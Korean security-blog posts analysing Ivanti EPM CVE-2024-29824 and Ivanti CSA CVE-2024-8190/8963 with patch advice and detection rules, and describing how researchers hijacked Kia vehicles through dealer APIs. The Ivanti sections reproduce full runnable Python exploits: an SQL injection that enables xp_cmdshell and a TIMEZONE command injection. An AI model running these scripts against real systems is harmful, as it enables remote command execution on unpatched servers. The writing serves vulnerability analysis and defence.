[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. Ivanti Endpoint Manager(EPM) [1]

- 조직 내의 장치를 중앙에서 관리할 수 있는 엔터프라이즈 엔드포인트 관리 솔루션

 

2. 취약점

[사진 1] CVE-2024-29824 [2]

- 취약한 Ivanti EPM에서 발생하는 SQL Injection (CVSS: 9.6)

> 현재 해당 취약점이 활발히 익스플로잇되는 중으로, CISA는 신속히 패치를 권고

영향받는 버전
- Ivanti EPM 2022 SU5 이하 버전

 

2.1 주요 내용

- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]

> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약

> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입

> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행

[사진 2] RecordGoodApp() SQL 문

- 취약점 흐름은 다음과 같음

[사진 3] 호출 흐름

2.2 PoC [4]

- /WSStatusEvents/EventHandler.asmx URL로 POST 요청
GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행

※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저

import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()

XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
  <soap12:Body>
    <UpdateStatusEvents xmlns="http://tempuri.org/">
      <deviceID>string</deviceID>
      <actions>
        <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
          <status>GoodApp=1|md5={}</status>
        </Action>
      </actions>
    </UpdateStatusEvents>
  </soap12:Body>
</soap12:Envelope>
"""

SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"


def get_cmd_arrays(cmd_file):
    try:
        with open(cmd_file, 'r') as f:
            cmds = f.read().split('\n')
            cmds = [c for c in cmds if c]
            return cmds
    except Exception as e:
        sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
    return []

def exploit(url, command):
    h = {'Content-Type': 'application/soap+xml' }
    sqli_payload = SQLI_PAYLOAD.format(command)
    xml_payload = XML_PAYLOAD.format(sqli_payload)
    try:
        r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
        if r.status_code == 200:
            print(f'[+] Successfully sent payload to server')
        else:
            print(f'[-] Unexpected response from server')
    except TimeoutError:
        # Expected to timeout given it keeps connection open for process duration
        pass
    except ReadTimeout:
        # Expected to timeout given it keeps connection open for process duration
        pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
    args = parser.parse_args()

    commands = get_cmd_arrays(args.cmd_file)
    for command in commands:
        exploit(args.url, command)

 

[사진 4] Exploit 예시

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결

 

- 탐지룰 적용

> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]

alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)

 

4. 참고

[1] https://www.ivanti.com/products/endpoint-manager
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-29824
[3] https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/
[4] https://github.com/horizon3ai/CVE-2024-29824
[5] https://forums.ivanti.com/s/article/KB-Security-Advisory-EPM-May-2024?language=en_US
[6] https://www.vicarius.io/vsociety/posts/cve-2024-29824-xdetection
[7] https://attackerkb.com/topics/c3Z5a612ns/cve-2024-29824
[8] https://www.bleepingcomputer.com/news/security/critical-ivanti-rce-flaw-with-public-exploit-now-used-in-attacks/
[9] https://thehackernews.com/2024/10/ivanti-endpoint-manager-flaw-actively.html

1. 개요

- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1]
- 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능
- 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음

 

2. 주요 내용

- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석
> 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음

※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달
※ 앱은 해당 API에 직접 액세스

 

- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청

[사진 1] 요청 예시

- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달

> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID

[사진 2] 요청 예시

2.1 Kia 딜러 인프라 취약점

- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견

> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

 

- 해당 URL을 로드하면 토큰의 유효성을 확인하는 HTTP 요청이 전송

> 딜러 사이트의 요청 URI가 owners 사이트와 동일한 /apps/services/kdealer/apigwServlet.html

> 딜러용 내부 API로 요청을 전달하는 프록시가 있을 것으로 예상

[사진 3] 토큰 유효성 검사

- JavaScript를 확인한 결과 딜러 차량 조회, 계정 조회, 등록, 해지 등 직원 전용 기능을 가진 API 호출 발견

> 소유한 차량의 VIN으로 API 앤드포인트에 접근해 보았으나, 401 Unauthorized 반환

dealerVehicleLookUp() {
    this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
        vin: this.vinToEnroll
    }, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
        i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
    })
}

 

2.2 일반 계정으로 딜러 API 접근

- 딜러 웹 사이트에서 새로운 계정을 생성해 액세스 토큰을 생성한 뒤 API 접근 시도

> 딜러 사이트에서 owners 사이트와 동일한 방식으로 사용자 등록을 시도한 결과 200 OK 반환

> 이후 로그인하여 액세스 토큰 생성 VIN 조회 API 호출 결과 차량 소유주 이름, 전화번호, 이메일 주소 반환

> 일반 자격 증명과 수정된 채널 헤더를 사용하면 모든 딜러용 API에 접근할 수 있다는 것을 의미

 

2.3 차량 무단 접근

- JavaScript를 살펴본 결과 차량 등록, 해지, 수정 엔드포인트가 어떻게 동작하는지 파악

[사진 4] 차량 무단 접근

- 다음 4단계를 거치면 차량에 무단 접근이 가능하며, 피해자는 차량 접근 알림이나 권한 변경 사실을 알지 못함

> 번호판을 통해 VIN을 알아낸 뒤 API를 이용해 추적, 잠금 해제, 시동 걸기, 경적 울리기 등의 명령을 수행할 수 있음

① 딜러 토큰 생성 및 HTTP 응답에서 “token” 헤더 추출

- authUser 엔드포인트를 통해 인증하여 세션 토큰 획득

[사진 5] 딜러 토큰 생성

② 피해자의 이메일 주소 및 전화번호 알아내기

- 추가된 세션 토큰 헤더를 통해 kiaconnect.kdealer.com 웹사이트의 모든 딜러 엔드포인트에 접속 및 피해자의 이름, 전화번호, 이메일을 검색할 수 있음

[사진 6] 피해자 정보 조회

③ 유출된 이메일 주소와 VIN으로 기존 소유자의 접근 권한 수정

- 이전 단계에서 얻은 이메일을 이용해 공격자를 기본 계정 소유자로 추가

[사진 7] 차량 소유주 접근 권한 수정

④ 공격자를 차량의 새로운 소유자로 추가

- 공격자의 이메일을 이용해 차량의 소유자로 추가 및 이를 통해 차량에 임의 명령을 보낼 수 있음

[사진 8] 공격자 추가

2.3 PoC용 대시보드 제작

- 공격자는 (1) Kia 차량의 번호판을 입력하고 (2) 소유주 개인 식별 정보를 가져온 뒤 (3) 차량 제어 명령을 실행할 수 있는 개념 증명용 대시보드 개발

- 차량 무단 접근을 시도하는 Exploit 페이지명령 전달과 위치를 추적하는 Garage 페이지로 구성

> 잠긴 Kia 렌트카를 대상으로 테스트 및 문 잠금/해제, 시동 켜기/끄기, 경적 울리기, 위치 추적에 성공

[영상 1] PoC [2]

- 해당 취약점을 Kia에 제보 및 수정 완료

> PoC 도구는 공개되지 않았으며, Kia는 취약점이 악의적으로 악용되지 않았음을 확인

3. 참고

[1] https://samcurry.net/hacking-kia#targeting-kia-dealer-infrastructure
[2] https://www.youtube.com/watch?v=jMHFCpQdZyg
[3] https://news.hada.io/topic?id=16961
[4] https://www.boannews.com/media/view.asp?idx=133232&page=1&kind=1
[5] https://www.dailysecu.com/news/articleView.html?idxno=159771

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

+ Recent posts